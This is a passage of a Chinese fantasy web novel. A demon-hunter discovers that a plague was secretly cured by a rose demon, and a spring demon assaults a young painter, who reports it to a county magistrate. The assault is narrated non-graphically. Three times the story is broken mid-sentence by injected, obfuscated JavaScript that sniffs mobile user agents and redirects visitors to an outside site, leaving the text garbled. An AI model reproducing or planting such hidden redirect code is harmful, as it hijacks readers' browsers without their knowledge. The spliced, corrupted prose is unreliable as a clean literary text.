会不会是那场妖异的雨,给了他们最后一击? 他越想越害怕,心底一片冰凉。妖孽在眼皮底下作乱,以致生灵涂炭,他这个捉妖师还有何面目立于天地之间? 若是大家都毒发身亡,他万死难辞其咎。 许小宝匆匆出去,过了半个时辰,一脸迷惑地回来了。 “回沈大人,小的走了三条街,一家一家问过去,都说中毒之人已经好了。” “好了?” “是啊,嘴不馋了,胃不烧了,头不痛了,皮肤上的红疹子也下去了,一个个活蹦乱跳跟没事人似的,”他憨笑,“沈大人,是不是您亲自给他们运功驱毒了?” 沈灵均摇头。功力犹如无源之水,一旦消耗,需要时间补回来,不能无节制地连续催动,他这几日拼尽全力,也只救治了十余人。 “那就是药丸起效了。总之南安县福泽深厚,这么大的祸事,一下子转危为安了!” 沈灵均心头剧震。 不,事情没有那么简单。 “我还带回来两个人。” 许小宝向外面一指。只见沈灵均第一个救治的妇人扶着女儿的手缓步进来,脸上浮肿尽褪,目中含泪,盈盈拜倒,“多谢沈大人救命之恩!” 沈灵均连忙扶起。 她女儿在一旁呜咽道,“沈大人真乃神人也,家母昨日还昏昏沉沉,今早起来,就恢复如初了。” “一夜之间恢复如初?” “正是!” “我们全家永生永世感念大人恩德!” 沈灵均喃喃道,“这是沈某职责所在,不必言谢。” 那姑娘泪光盈盈地看着他,眼中又是羞涩又是柔情。 他的神思却飘到了九霄云外。 毒性不会无缘无故消失。 昨夜的变数,就是那场妖异的雨了。 看来方才关心则乱,完全想错了。 那雨不是催命符,而是救命药。 中毒之人康复,实属侥幸。有人,不,有妖暗中相助。 “沈老弟,恭贺你又立新功啊!” 三日之后,徐知县拍着沈灵均的肩膀,满脸喜色。 一场大祸消弭于无形。南安县又恢复往日的平静,甚至比以前还更好些:驱逐了恶妖,拔除了庆真楼这个隐藏多年的祸根。 “我已让师爷写了捷报,呈上朝廷,为你表功。” 沈灵均心知肚明,自己只是个添头,为知县大人表功才是真的。 “都是下官无能,未能擒获草妖,以致徐大人和百姓受了许多苦。” “沈老弟啊,你这个人就是爱操心。妖毒不是都解了吗,”徐大人顿了顿,“那个曹掌柜,不会再回来了吧?” “应该不会。即使回来,他也没有威胁知县大人的筹码了。” “那就好,那就好!我昨日去积善寺抽了支签,是个化险为夷的格局。老方丈说了,南安县今年多灾多难,来年定能否极泰来,风调雨顺。” 沈灵均沉吟许久,“但愿如此。” 41. 春风吹又生(十四) 除夕之夜,天降大雪。小孩子们穿着新衣,带着新帽,在街道上撒欢儿打雪仗。店铺掌柜早早关门,阖家团聚去了。庆真楼的废墟盖上一层白雪,倒显得没那么凄凉了。 巨大的画舫载着舞龙舞狮队,沿着玉川一路驶来,岸上民众欢呼喝彩,向船上投掷铜钱彩头。 家家户户张灯结彩,贴上春联。烟花爆竹放了一整晚。徐知县与民同乐,在县衙门口点了一串九十九响的大爆竹。 徐夫人窝在家里,抱着手炉,看花园里银装素裹。丫鬟端来薛神医开的补药,她皱了皱眉头,一饮而尽。 许大娘和许小宝欢欢喜喜地吃了年夜饭,说起来年,盼着衙门能涨些俸禄,再找媒婆给小宝说个媳妇。 张府一片肃穆,张老太爷独个儿对着亡妻灵位,老泪纵横。 锦绣布庄的王夫人对着满桌子的糕点,喜上眉梢。不等开饭,就大快朵颐起来。她相公在一旁暗暗叹息,中毒也不能让娘子戒掉甜食,看来是要吃到老了。 玲珑绸缎庄的祝三娘早早关了店门回家。两岁的女儿正在房里玩耍,胖乎乎的小手捏着一个瓶子不肯放,嘴里咿咿呀呀。祝三娘拿过来一瞧,正是季月用来装蜜水的。 她心里好像被一只小手推了一下。自从那日之后,再也没见到季月,听说她被衙门抓去了,恐怕要吃苦头。如今毒解了,那种百爪挠心的痛楚也渐渐淡忘,想起当初逼问解药之举,深感懊悔。 早知道就忍一忍了,何必闹得那样难看。不知道季姑娘现在如何了。其实她卖的蜜水还挺好喝的。 韩思年陪着父亲母亲,在府门口抛洒铜钱,为新年祈福。附近的小孩子都早早赶来等着。韩父手一扬,他们便一拥而上,争相捡拾。韩府门前的积雪都被踩薄了。 韩父哈哈大笑。 一个中年男人找到韩思年,“韩公子,赏钱都按您的吩咐发下去了。工匠们说,再有一个月,琳琅阁就能整饬一新。” 韩母在一旁听见了,“费了这么大劲,终于要修好了,几时带我们去看看。” “娘,那是别人家的房子。” 韩母故作惊讶,“看你跑前跑后,那么上心,原来不是我们韩家的呀!那家主人何在?” 韩思年皱眉,转向中年男人,“有季姑娘的消息吗?” “派人去随元府和西河县打听了,都没有。会不会还关在县衙?” 韩思年断然摇头,“沈大人说了,季姑娘是独自离开的。” 韩母拉过一个带虎头帽的孩子,塞给他几粒糖。 “原主人不见踪影?阿弥陀佛,我儿子不会要强占人家房子吧?” 韩思年无奈,“娘,大过年的,你就不要说笑了!” 韩母转过头,“老爷,你听见没?儿子说大过年的,不准说笑。” 韩父虎起脸道,“无法无天。来年若是再考不上科举,就把他赶出家门。” “人家在外头修房子,看来住的地方是不愁了。” “哼,没人伺候,瞧他能活几日。” 韩思年听着父母你一句我一句的奚落,看着眼前纷纷扬扬的雪花,幽幽叹了口气。 沈府大门修缮一新。王妙仪手书春联一副:“门庭虎踞平安岁,柳浪莺歌锦绣春”,亲自贴在门上。沈伯在一旁提心吊胆地扶着梯子。 厨房里支起一口大锅,滚水煮得沸腾,仆从们围坐一圈,将新鲜的牛羊肉、鸡鸭、鱼虾、菜蔬等,一股脑儿放进去涮着吃。 沈伯看他们吃得热闹,也盛了一碗,端进去给少爷小姐尝尝。 王妙仪头一次听说这种吃法,大感新奇。 “这暖锅涮肉,是从北方传过来的。”沈伯笑眯眯道,“配上蘸料,更有风味。” 王妙仪夹了一片牛肉送入口中,果然鲜嫩美味,和往常吃的烹牛肉截然不同。 她胃口甚小,每样菜尝了一口,吃了一小碗饭,就不动筷子了。 沈灵均不知为何,比她吃得更少。 “表哥,大过年的,怎么忧心忡忡?” “有么?” “有啊,府中人人笑容满面,只有你板着一张脸。” 沈伯道,“少爷前阵子奔波劳碌,定是累着了。” “明年可不能再这么拼命了。要少受伤,少受累。” 沈灵均看她一本正经的样子,笑道,“好,不捉妖了,保命要紧。” 王妙仪撅起嘴,“你现在这么说,遇到事情又忘了。” 沈伯看少爷眉宇间确有忧色,“少爷是不是担心季姑娘?” 沈灵均神色一动。 王妙仪问,“她还没回来吗?” “她或许……不会再回来了。” 妖气消失许久,南安县一派喜庆祥和。 这样的太平盛世,不正是历任捉妖师孜孜以求的么。 沈灵均站起身,推开窗格,负手看灯笼光晕里,雪花片片飞落。 冬去春来,池塘融冰,来小苍山过冬的白鹭排成一行飞走了,柳树梢头长出了嫩芽,报春花最先绽开嫩黄的花骨朵,然后樱杏桃李,次第开放,蜂蝶纷纷,逐蜜而来。 三月三,上巳节,庆真楼历经数月修造,重新开张。格局一如原来:一座主楼、两座辅楼,中有虹桥相连,屋顶的五彩琉璃瓦修补一新,气派非凡。 新任掌柜,不消说,自然是徐知县的侄子。他一听说南安县危机已解,连夜跑来,以五百两银子的价格,从知县大人那里接手了这座全县最豪华的酒楼。 徐掌柜备了最上等的酒席,力邀知县大人、沈大人以及本县名门望族、世家大户莅临,庆贺酒楼开业。 徐知县赏脸坐了主位。他的脸庞又像以前一样饱满圆润了,脸上草妖留下的伤口也好得几乎看不见了。 “此地被妖荼毒,几乎全毁,如今能恢复往昔盛景,徐掌柜功不可没啊。” “小人全是托知县大人的洪福。知县大人临危不惧,运筹帷幄,才使一场大祸消弭于无形。” “有知县大人在此,妖孽定然不敢来犯。我等百姓也可高枕无忧了。” 徐知县听得飘飘然,突然瞥见沈灵均在下面,似乎脸色不虞,“诸位,草妖一案,沈大人劳心劳力,本县可不敢抢功啊。” 徐掌柜转向沈灵均,“南安县的沈大人智勇双全,声名远播,今日得见,果然不同凡响。” “妖见了沈大人,躲都来不及。” “沈大人杀妖,就像踩死一只蚂蚁。” 沈灵均皱眉。 这些吹捧之语,从前还不觉得什么,如今越听越刺耳。 妖不是他杀的,人也不是他救的。若他们知道最终施以援手的,是那个险些被吃掉的女子,不知会作何感想? 恐怕除了他,没人会在乎了。 沈灵均霍地站起,向徐知县道,“下官身体不适,先告退了。” 他逃也似的离开庆真楼,漫无目的地沿着玉川往下游走。 春风挟着暖意和愈来愈浓的兰草香,没走几步,额头上就沁出了薄汗。 上巳节历来有男女同游的习俗。路上三三两两,都是青年男女,结伴去镜湖边踏青游玩。 沿湖一圈,几乎没有下脚的地方,被饮宴之人占满。寻常的带些糕点、瓜果,席地而坐。考究的依着地势,摆出曲水流觞之景,对酒联诗。 年轻人打闹嬉戏,欢声笑语,搅得波平如镜的湖面,也微微颤动。 沈灵均默默看了一会,突然整个人僵在原地。 妖气。 他脸上神色由惊讶转为狂喜,旋即镇定下来,飞快地向四周打量。 紫的、蓝的、粉的、黄的,年轻姑娘们的衣裙如五彩云霞,乱花渐欲迷人眼。 不会错的,就在这附近。 他不自觉跑了起来,人群似彩色迷障,一会儿围拢,一会儿散开。他焦躁不安,呼吸愈发急促,跑过湖心亭,猛地停步。 “表哥?你怎么来了?” 湖边一处树荫下,王妙仪和沈伯坐在一起,幂篱脱了下来,扔在脚边,对面,还有个轻摇折扇的潇洒公子,韩思年。 他笑眯眯道,“沈大人,你也来踏青啊。” 沈灵均微微一怔,“韩公子。” 沈伯递过一杯茶,“少爷,坐下歇歇吧。” “不必,我还有事。你们怎么会在此?” 王妙仪撅起嘴,“我昨日就说要来镜湖边踏青郊游,你全没听进去吗?” 沈灵均回想,她好像确实提过,只是最近神思不属,没放在心上。 韩思年道,“我在湖边巧遇王姑娘,贪图她带的糕点,便厚着脸皮坐了下来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084248|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王妙仪颊生红晕,“韩公子真是爱说笑。” 她坐在东首,腰背挺得笔直,领口捂得严严实实,韩思年手中折扇偏转一点角度,让她也能吹到几缕带着兰草香的风。 沈灵均冷眼旁观,一时无话。 王妙仪又劝,“表哥,你快坐呀。” “不必。” “你站在那里,挡住湖景了。” 韩思年哈哈大笑。 沈灵均脸色一沉,抬脚就要走,眼睛却倏然定在十步开外,一团红色的影子上。 婆娑柳枝下,一个熟悉的身影一身红衣,跪坐在岸边。半个身子探出,用一只小陶罐舀起镜湖里的水,放到鼻子底下闻了闻。 几粒水珠溅上微翘的睫毛,沿着白瓷般的肌肤滑下来。娇艳欲滴的红唇勾起,弯成一个浅浅的笑。 时间凝固了。沈灵均觉得心跳都停止了。 她就这样出现在人群中,和周遭的一切隔了一层,这一幕极美,美得不像真的。 会不会是自己思虑过度,出现的幻觉? 他像丢了魂一样呆立不动,王妙仪、沈伯和韩思年顺着他的眼光望去,立刻发现了季月。 韩思年跳起来,“季姑娘!真的是你么?” 不是幻觉,他们也看得见她。沈灵均的心又开始跳了,跳得飞快。 季月回头,嫣然一笑,径直走过来。 “师叔,好久不见。” “王姑娘,你脸好像变圆了。” 然后凑近,“沈大人,你怎么一头一脸的汗啊?这是什么表情?不认识我了吗?” 沈灵均清清嗓子,“你这些日子,跑到哪里去了?” 韩思年道,“是啊,季姑娘,我们都很担心你。” 季月环顾四周,“你们?” 王妙仪道,“你失踪后没多久,大家的毒就解了,可到处都找不到你。” 季月眨眨眼睛,“太害怕了,躲起来睡了一觉。一觉睡醒,就是春天了。” 王妙仪惊疑不定,“难道你真的会冬眠?除夕夜里,烟花爆竹震天响,都没把你吵醒么?” 季月摇摇头,“没听见啊。土……被子蒙过头,外面打雷都听不见。” 韩思年问,“那你是怎么醒的?” “唔,就像花一样,到了时节自然开放。” 沈灵均看着她娇美明艳的脸庞,心中一动。 土、花、时节…… 她的真身,该不会是…… 韩思年吁了口气,“平安无事就好,你几个月音信全无,我还以为你被歹人抓走了。” “他们敢!”季月看向沈灵均,“话说,毒是怎么解的?” 沈灵均淡然道,“你想知道?” 王妙仪插言道,“是表哥的功劳。先服药丸,再运功驱毒,熬过最凶险的几日,自然就好了。” 季月张了张嘴,又闭上了。 沈灵均垂眸看她,“季姑娘有话要说?” 季月盯着他,“真的是你治好的吗?” “正是在下。” “原来沈大人这么厉害?” “雕虫小技,不值一提。” 王妙仪道,“表哥是捉妖师,驱除妖毒,不过举手之劳。” 韩思年道,“季姑娘,你本不需要逃走的,当时情形虽然危险,再忍几天,就雨过天晴了。” 沈灵均目光灼灼地看着她,“往后,可以多信任我一些。” 季月千言万语憋在胸口,说不出来。 那是你的功劳吗?明明是我抓了泉妖来解的毒,你还在中间碍手碍脚,引雷劈他!当真是狗咬吕洞宾,不识好妖心! 沈灵均看她憋得难受的样子,忍不住放声大笑。 王妙仪难得见表哥这么高兴,大感诧异,转念间想到什么,神色一黯。 韩思年把季月拉到一边,说琳琅阁已翻修一新,保证比原来住得舒服。 季月抱紧陶罐,调整了一下呼吸,“多谢你了,我总算可以回家躺平了。” 镜湖湖面波光粼粼,岸边绿草如茵,绵延数里,随着春风起舞。 绿草之下,泥土深处,不见阳光的地方,藏着几缕碧绿的、锋锐柔韧的草茎。 春风暂时吹不到它们。它们静静地躺在黑暗中,等待再度发芽的时机。 42. 不与离人遇(一) 春和景明,天朗气清,百花争艳,万象更新。 南安县的大街小巷,不起眼的角落里,不知不觉多出无数细小泉眼,汩汩冒着水花。偶有顽童路过,一脚踩上去,泉水咕嘟咕嘟响几下,像被踩灭了似的,渐渐干涸,随即又从几步远处的地面冒出来。孩童觉得新奇,争相以踩泉为乐。 韩思年撑着一柄六十四股油纸伞,手捧数卷施工图集,意气风发,疾行而过。细雨绵绵,却连他的一片衣角都没打湿。他思虑周详,正赶着去琳琅阁,将自己精心设计的“琳琅阁十二景”细细道来,博得美人一笑。 大门口匾额上龙飞凤舞的“琳琅阁”三字乃是第一景,名为“迎客”。韩思年事先没派人送信,但大门却是开着的,就好像主人家心有灵犀,知道他要来。 他喜滋滋地跨过门槛,迎面的八字照壁乃是第二景,名为“寻香”。照壁中间有扇形窗格,上方有紫藤花枝缠绕,垂下的簇簇花冠散发淡淡芬芳。 扇形窗格另一边隐约可见一方清池,池中芙蕖刚刚栽下,浮叶尚未完全展开。这便是第三景“揖荷”。韩思年绕到照壁另一侧,细看那池塘。只见水中凭空冒出一股半人高的清泉,咕嘟咕嘟喷得正欢。他顿觉疑惑,自己没设计喷泉啊,这水是从哪儿来的? 他的目光移到小院西边,茶室外围的竹帘上,便定住不动了。 茶室外这一处小小的空地坐北朝南,冬暖夏凉,专为二人对坐,品茗谈天而设,乃是琳琅阁第四景,名为“问茶”。 此刻那雅致的竹帘上,清清楚楚地映出一对交缠在一起的身影。高的那个,发如喷泉散在肩头,蜂腰猿背,长身玉立,矮的那个,曲线玲珑,双臂探出,环在对面那人的脖子上。两张脸的侧影越靠越近,终于叠在一块。 一男一女的嬉笑声隔着帘子传来。那女声分明是季姑娘的声音。 “诶,别乱动!” “不要,痒!” “这样好看!” 只言片语传入耳中,犹如一个个惊雷炸响。嗤的一声,油纸伞坠地。 华贵的锦袍和厚厚的施工图集,瞬间被雨点打湿。 “哎呀,勾住了!” 那高个男人站立不定似的,大半个身子朝季月靠过去,倒在她身上。 韩思年忍无可忍,一把掀起帘子。 没了遮掩,眼前场景更加不堪入目。 季月双手扣住对面那人的脖颈,一根靛蓝发带在指间飘来荡去,与瀑布般的青丝纠缠在一起。粉色襦裙贴在对方赤裸的胸膛上,前襟的颜色比其他地方深一些,像是沾湿了。那陌生男人比她高出一头,衣衫半解,双目似春江之水,鼻如悬胆,脸泛潮红,一望便知是个放浪形骸、纵欲无度的登徒子。 两人乍见韩思年,皆是一愣,竟不分开,仍然没羞没臊地贴在一起。韩思年看得心惊肉跳,以手掩面,大叫,“你们……这是在做什么?!” 季月惊讶道,“韩公子,你怎么来了?” 韩思年咬牙。瞧这情形,是他来得不巧,撞破别人的好事了。 他瞪着那登徒子,眼中几乎喷出火来,那人目光玩味,将他从上到下扫了一遍,赞道,“这位公子,长得挺俊啊。” 语气之轻佻,情态之孟浪,堪比妓馆里点小倌,韩思年出身高门大户,何曾受过这般屈辱,气得面皮紫涨,几欲晕去。 季月伸掌,将那登徒子的脸拨转回去,“别瞎看。” 那人捉住她的手,咯咯直笑。 韩思年的声音几乎有些悲切了,“季姑娘,你和此人……” 季月专心绑那根发带,“韩公子,今日之事,你就当做没有看见。” 偏偏头发又厚又多,她猛地一拉,整张脸埋进对方脖子里。登徒子喉结滚动,娇嗔道,“你轻些!” 这般缠绵姿态,韩思年再也看不下去了,脸色灰败,转过身,逃也似的奔出琳琅阁,连伞都忘了捡。 季月目不能视,双手用蛮力一扯。泉妖只觉头皮一紧,嗷地一声把她推开。 瀑布般的长发,一半绑了起来,另一半还散漫地垂至腰间。 季月皱眉,“怎么如此难弄,你把另一半头发剪掉吧。” 泉妖道,“明明是你手艺不佳,干嘛毁损我的头发!” “我手艺不佳?我自己的头发怎么绑得好好的?” “那是你照着画像变的。” “那你也照着别人的样子变吧。” “不要,散着多好看。” 季月五指成爪,伸向他脑后,“给我过来!” 泉妖一通挣扎,勉强扎好的发带又散了,尖尖的下巴颏还磕在季月脑门上。 “哎哟,你别乱动!” “月季,你为什么不站在我背后绑?” 季月抬起头,茫然眨眼,“对哦,你怎么不早说?” 她虽然早就适应了人身,却从没给别人绑过头发,竟犯下如此可笑的错误。 两妖大眼瞪小眼片刻,季月绕到泉妖背后,在他肩膀上一按,生生把他的腿按短几寸。然后三下两下,将满头青丝拢在一起,用发带绕了几圈。 这回比刚才顺利得多,虽然歪歪扭扭,好歹固定住了。 “成了。” 泉妖伸掌,变出一汪清水,瞧了瞧自己的倒影。 “感觉还缺了点什么。你头上的珠钗给我戴。” “那是女子戴的。” 泉妖转身看向她,“男子不能戴么?” 季月想了想,“给你买个头冠吧,就像沈大人戴的那种。” 泉妖大叫,“那个碍手碍脚的捉妖师么?他的东西我才不要呢!” 季月不耐烦道,“你怎么如此多事?什么时候滚回妖界?” 先前她为了解穿心草之毒,强行把泉妖绑来人间,命他下了一场大雨。 泉水清洗了全县,沈灵均还飞到天上和他们打了一架。 待到雨过天晴,两妖都觉精疲力尽,就近在小仓山顶挖了个坑,双双陷入冬眠。 再次醒来,已是春暖花开的时节。季月催促泉妖返回妖界,泉妖却说自己被强行绑来,要在人间玩个够。 于是他白天在街上四处乱逛,所到之处,留下无数细小泉眼,晚上赖在琳琅阁,霸占了韩思年为季姑娘精挑细选的那张黄花梨木大床。 季月原本以为他待几天就走,没想到,他待得乐不思蜀,不但变化成轻浮浪荡的男子模样,还嚷嚷着要置办衣裳首饰,腰间佩玉,束发缎带,见到什么都想要,又不知从哪偷来一盒胭脂,往嘴巴上抹。 是以如今他这张脸,比季月更添三分媚态,令人一见惊心,二见梦魇,足以把韩思年吓得落荒而逃。 泉妖作捧心状,“现在可不能走。刚看上一个良家少年郎。” 季月问,“谁?” 南安县的俊俏郎君,没有她不认识的。 泉妖晃晃脑袋,水声哗哗响,“不知道。没与他说上话。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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仔细一瞧,那人虽长了一对桃花眼,眼瞳深处却有孩子般的纯真,与泉妖轻浮之色截然不同。衣服穿得妥帖,只因身形瘦弱,有些地方撑不起来,才显得飘逸不羁。 “在下韩思年,还未请教兄台高姓大名?” “原来是韩公子,幸会。在下郁离。” 韩思年瞥见卷轴一角似乎绘有山水景色,“郁公子是画师么?” 郁离赧然道,“在下画技粗疏,纯属自娱自乐,让韩公子见笑了。公子欲往何处去?在下有伞,可以送你一程。” 韩思年一怔。他在街上漫无目的一通乱走,这才发现浑身已淋得湿透。他从小锦衣玉食,有生以来最狼狈的日子,便是在琳琅阁范老夫子手下求学的那些年。好不容易把范老夫子熬走,本以为得脱苦海,没想到又一头栽在季月手里,为她鞍前马后,忙里忙外,结果一片痴心错付,狼狈更胜从前。 欲往何处去?去往何处,才能逃脱这无边丝雨细如愁? 他自怨自艾,呆呆出神,郁离也不催促,站在一旁打伞。 身后蓦地传来笃笃笃的响声。 一个盲眼老头扛着“神算子”的幡旗,戴着斗笠,拄杖而行。每走一步,先用竹杖探路,嘴里喃喃念叨,“文王先天神卦,算天命,卜吉凶,五钱银子一次”。 郁离怕挡住道路,拉着韩思年让到一边。 不料那盲眼老头皱着鼻子嗅了两下,径直冲他们走来。 郁离让到左边,那老头便往左,让到右边,那老头便往右。想绕到他身后,那老头竟快走两步,把他们堵在墙角。 韩思年如梦初醒,喝道,“你是何人?” 那老头嗅了半天,布满皱纹的脸上突然现出诡异的笑,“公子,你身中桃花煞,可要小心了。” 43. 不与离人遇(二) 郁离踏上小仓山北坡石阶的时候,春雨渐渐止歇。他收起油纸伞,倒转伞柄,充当手杖,拾级而上。这段路熟悉之极,闭着眼睛也能走,伞柄敲击在石阶上发出笃笃声响,倒有几分神似方才路遇的算命老头。 那老头诡异的笑容犹在眼前,“公子,你身中桃花煞,可要小心了。” 他说这话时,灰白失明的瞳孔中映出两个人的影子,而那位韩公子似乎心有所感,仰天长叹一声,径自去了。 郁离天生胆小,被那老头吓出一身鸡皮疙瘩。走出好远,还疑神疑鬼,总觉得有人在后面追赶。沿着石阶爬到半山腰,置身于密密匝匝的竹林中,内心才略微宁定。 到了此处,就如同回了家。 小仓山的春樱和红枫都长在南坡,是以游人赏景历来只去南坡,北坡罕有人至。山坡上大片土壤被竹子占领。每年春雨一下,竹子疯长,遮天蔽日,地上竹笋遍布,几乎下不去脚。 郁离走到石阶尽头,一头钻进竹林,踩着湿泥前行,天光越来越暗,不断有竹子挡住去路,他却像一条灵活的泥鳅,左弯右拐,硬是在竹子间走出一条路来。 行了约莫一盏茶工夫,眼前豁然开朗,竹林间赫然现出一块空地,空地上有一块大圆石,可供一人横卧,石头表面光滑如镜,显然经过常年打磨,天光透过竹子的间隙,洒在圆石顶端。 郁离上前拍拍石头,神态亲昵,像在招呼一个老朋友。然后从背囊里取出一大块防水的油布,平铺在石面,再摆出文房四宝,将小心护在怀里的画轴摊开,用玉兔镇纸压住四角,最后,掏出一只青瓷酒壶并两个小酒杯。 他将两只杯子倒满,端起一杯,一饮而尽。仰头出神片刻,拿过另一杯酒,尽数倒在脚下泥土之中。 微风拂过树梢,竹影摇曳,四下里鸦雀无声,落针可闻。 郁离神色恹恹,发出一声轻得不能再轻的叹息。 竹林幽深处,一双黑瞳猛地睁开,将郁离的身影映在其中。 那瘦削的身形占满整个瞳孔,这双眼,仿佛已经痴痴地看了千年万年。 郁离毫无所觉,收起酒杯,俯身去看画。 这是一幅山中高士图。画卷左侧,一道飞瀑自山间倾泻而下,山道上二人相携而行,谈笑风生。画卷右侧,松林间高士跌坐,焚香抚琴,虽勾画粗疏,寥寥几笔,却透出清冷孤寂,无限萧索之意。 郁离思索片刻,往松树梢头添了几笔,退后端详。又换了支笔,去勾勒那道飞瀑。 水流部分乃是留白。他本将水流改小一些,可手中画笔像是中了邪,把瀑布越描越宽,几乎占满半张画纸,飞溅的水珠泼到山道上,盖住了相携而行的两人。 郁离大惊,扔掉了笔。画面上的水流却活了过来,变作真的水流,转瞬间洇湿画纸,线条色块糊成一团,一幅耗费数月心血的山中高士图就此毁了。 水流脱离画纸,向上喷出,形成一道喷泉。郁离目瞪口呆,眼睁睁看着喷泉凝结成人形,一个长身玉立的男子自水中款款走出。 他姿容靡丽,衣衫半解,前胸湿透,眼珠在郁离脸上一转,便似勾魂夺魄一般,骇得他话都说不出来。 他却开口了,嗓音清脆,如流水叮咚,“小公子,你叫什么名字啊?” 郁离心知不妙,可脑中迷迷糊糊的,像被塞了团棉花。 “郁……离。” “好名字。往后,便唤你离公子吧。” “未请教兄台……高姓大名?” 泉妖走近,托起郁离的下巴,轻叹,“泉。我的名字。” 他手指冰凉,带着水气,激得郁离打了个冷战。平素澄澈的眼瞳渐渐失焦,任由对方摆布。 刺啦一声,郁离衣襟开裂,顿时和泉妖一样袒胸露乳。他从小到大只会画画,身形单薄,没有泉妖那样突出的胸肌,白生生的肌肤下,隐约可见肋骨形状。 泉妖摸了两下,似乎不甚满意,又变本加厉,将整件外袍剥去,郁离半个身子露在外面,浑身颤抖。 他明知道事情大大不对,该当呼救或者逃跑,人却像是被梦魇住了。对方的蓝色眼睛深不见底,把他心魂都吸了进去。 这似痴似呆,身不由己的模样,看得泉妖水脉喷张,尖声大笑,“离公子,这便从了我吧。” 竹林间刮起一阵狂风,竹节摇晃,叶片飒飒飞落。竹林深处,暗影涌动。 泉妖将郁离拦腰抱起,扔到那块可供一人横躺的大石头上。 郁离半个身子浸在冷水里,不住哆嗦,偏偏一句话都说不出来。 泉妖粗暴地将他翻了个身,扯开自己腰带,如饿虎扑食般扑了上去。 郁离的鼻子狠狠磕在石头上,鲜血长流,身后传来剧痛,心中惊惧羞耻到了极点。清楚地感知泉妖一举一动,却根本无力反抗。 正当羞愤欲死之际,天光乍暗,一股腥风自竹林深处席卷而来,扑向泉妖。利齿深深扎进后背,泉妖发出一声惨叫,从郁离身上滚落。 只见一条巨蛇盘在石下,嘶嘶吐着信子,比墨还黑的眼睛盯着泉妖,露出浸着毒液的尖牙。 泉妖呸了一声,“该死的小蛇,坏我好事。” 巨蛇猛冲过来,对准他脖颈一口咬下。 泉妖闪身躲过,“来真的?那就陪你玩玩吧。” 一道水流从掌中激射而出,对准巨蛇的眼睛。 巨蛇吃痛,粗壮的身躯剧烈翻滚,一大片竹子应声而倒。 它那灵活的尾巴出其不意地甩在泉妖背上。 这一下力道甚大,泉妖呕出一大口水,满头乌发披散下来。 他的神情变得凶狠,出手不再留有余地,招招索命。 他使全力与巨蛇相斗,施加在郁离身上的蛊惑之力便撤了回来。郁离突然能动了,一翻身,摔进泥水里。 两人高的巨蛇,毁人清白的妖孽,在自己常年作画之地相斗。平日里幽静的竹林间腥风大作,宛如一场梦魇。 郁离本就胆小,此刻身心受创,几欲晕去,两股战战,浑身发软。 危急中想到一个法子,把手指凑到嘴边,狠命咬下。 十指连心,剧痛换得片刻神思清明,他赶紧发足狂奔,逃入竹林之中。 下山的石阶,郁离几乎是滚下去的,风在背后追赶,风里涌动着许多暗影,和无数巨大的发亮眼睛。 郁离跑到山脚下,再也支撑不住,瘫倒在地。 北坡人迹罕至,等了许久,才有一辆马车经过。车夫见他衣衫不整,脸上又是血迹,又是污泥,伸长了手臂求救,疑心是哪里跑出来的冤魂,吓得猛抽马臀,疾驰而去。 直到天色渐暗,才有一位好心人骑马路过,把他带去衙门报官。 徐知县闲闲坐于三足金乌像下,一拍惊堂木,问道,“堂下何人?” 郁离浑身颤抖,支支吾吾道,“小人名叫郁离,家住万宁桥边,卖画为生。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084250|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你怎么弄成这副模样?” “禀告大人,小仓山上有……有妖!” 徐知县一听“妖”字,登时皱起眉头。 过完年,太平日子才过了数月,身上的肥膘刚养回来,又有妖孽作乱! 这破事,谁爱管谁管。 他挥了挥肥厚的手掌,“来人,去请沈灵均。” 郁离哆嗦着抹眼泪。 “等捉妖师来了,你将来龙去脉与他细说吧。本官还有要事处理……” “大人!要是那妖下了山,不知有多少人要遭难啊!” “它对你做了什么?” 郁离张了张嘴,又闭上了,只发出一声凄惨的呜咽。 那恶妖对他上下其手,大肆轻薄,回忆受辱的经过无异于往心口扎刀子,公堂之上,叫他如何启齿。 徐知县等了半天不见回答,又问,“你是如何逃出来的?” 郁离想起那条大蛇,身体比老槐树的树桩还粗,覆盖着厚厚的鳞片和斑斓花纹,可以轻易把他卷起来绞死。然而它放过了他,从始至终只攻击泉妖。 “又来了一只妖与他相斗,我才趁乱逃走。” 徐知县听得一个头两个大。南安县究竟造的什么孽,妖怪成群结队,来本地消遣么?! “那两只妖怪形貌如何?” 郁离想起那双勾魂夺魄的蓝眼睛,不受控制地发起抖来。 徐知县不耐烦道,“你全须全尾地逃出来,已算是福星高照了,不必吓成这样。遇到凶残的妖,会把人整个吞下去。” “那妖的恶行,比吃人更甚!” “什么恶行?” “它……” 郁离支吾半天,仍是说不出口。 徐知县怒道,“你什么都说不出来,别是胡编的吧!” 郁离忙道,“此事千真万确。小人会作画,可以把两只恶妖的样子画下来。” 正在此时,衙役回报,说沈大人正在闭关修炼,明日才能来。 徐知县无奈,“既然如此,你先回家作画,明日带着画来,把事情经过一五一十说清楚。” 郁离大喊,“我不回家!” 声音之响,倒把衙役们吓了一跳。 徐知县一拍惊堂木,“不准咆哮公堂!” 郁离惊慌道,“小人自请留在县衙!” “这不是留宿的地方!” “大人!您把我下狱吧!只有这里是安全的。” 